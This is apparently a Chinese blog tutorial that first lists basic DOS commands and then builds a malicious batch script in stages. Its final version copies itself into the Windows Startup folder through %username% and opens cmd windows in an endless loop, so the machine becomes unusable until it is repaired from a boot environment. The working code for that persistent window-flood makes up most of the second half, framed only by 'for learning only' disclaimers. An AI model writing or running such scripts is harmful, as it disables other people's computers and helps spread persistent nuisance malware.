申明:本文章僅供學習使用
今天講一些簡單的Dos命令,並且利用Dos做一個簡單的惡意代碼,並且不斷進行完善。
dir
查看目錄內容命令
dir/s
列出所有文件以及子目錄
dir/a
列出所有文件,包括隱藏文件
md/mkdir
創建目錄命令
cd
打開指定目錄命令
C:
改變當前盤符命令
copy
文件複製命令
copy 1.txt 2.txt
把 1.txt複製一份並命名爲2.txt
copy 1.txt D:\
copy後面也可以跟路徑哦
type
顯示文本文件內容命令
ren
更改文件名命令 重命名
del
刪除文件命令
copy/echo
創建文件
copy con 1.txt
echo xxxx > 1.txt
cls
清屏
move
移動文件
move 1.txt D:\123
start
打開文件
start
不加其他參數,就是彈出cmd窗口
start 1.txt
打開1.txt
以上都是廢話,我總結的不多但是着實比較常用(我比較常用)。接下來介紹一下惡意代碼的編寫。這裏利用剛纔介紹的最後兩個命令,來實現一個不斷彈cmd的功能。
這裏再介紹一下批處理,批處理就是dos命令寫在bat文件中,系統就會自動調用cmd來執行這些語句。
概念介紹完了,接下來開始實操:
1.最簡單的惡意代碼,就是寫進好多好多行start,就會不斷彈出窗口。
@echo off
start
start
start
start
start
start
@echo off是不顯示如何執行的這個過程,這裏你寫幾個start就可以彈出幾個cmd窗口。
你想多來幾個那就Ctrl+C,Ctrl+V多來幾下就完事。
2.寫個for循環不斷彈出窗口
一行搞定:
for /l %%i in (1,1,1000) do start
接下來解釋一下這一行:
/l
指的是按照(start,step,end)的形式來,如果不加的話,會將括號內的數當做一個集合來使用。例:
不加/l
就只輸出1,1,10,加了就輸出1-10.
%%i
的意思是將這個參數當成一個變量,在cmd下只要一個%
就行,但是在批處理就需要兩個。
in (1,1,100)
的格式爲(start,step,end),(開始,梯度,結束),也就是從1到100,梯度爲1。
再舉個栗子,(1,2,100),就是從1-100中每隔一個取一個數,也就是1.3.5.7.9…99
do start
就是執行start
這個命令。
這個bat我就不敢執行了,昨晚室友整了一下差點被打死。。。
3.升級版:開機自啓
首先,win+R,輸入shell:startup
就會跳出一個文件夾,所有在這裏的程序都會開機自啓。當然,開機自啓不止這一種方式,也可以用註冊表等其他方式實現。
這裏利用move
命令實現:
move 1.bat "C:\Users\12751\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
for /l %%i in (1,1,1000) do start
如果你在你的電腦上執行這個 肯定執行不了,只能不斷彈出1000個cmd,不能實現開機自啓。原因是不同賬戶路徑不同。
那個12751
是用戶的名字,所以這個只能在我自己本地上實現,並不具備通用性。做進一步改進後,代碼如下:
move 1.bat "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
for /l %%i in (1,1,1000) do start
首先要說的是,%username%是引用當前用戶名變量。你可以在cmd下執行一下:
所以一個非常非常邪惡的代碼就此產生,開機後給你彈1000個cmd才能繼續使用(大家還是別試了,小命要緊,可以在虛擬機上試試)
你以爲這就結束了嘛?不,這個代碼還能再升級升級,可以搞成死循環。(一旦死循環就只能重啓解決了,要是開機自啓那就真要命了。)
4.最終升級版
move 1.bat "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
:1
start
goto 1
這裏建了一個標籤,標籤的結尾又跳轉到標籤的開頭,就會死循環。
一旦這樣子之後,解決辦法只能用PE進入C盤刪除那個文件,所以輕易還是不要試了。
虛擬機給我整崩了,奉勸大家別拿自己的電腦開玩笑~~~
再次申明,本章僅供學習使用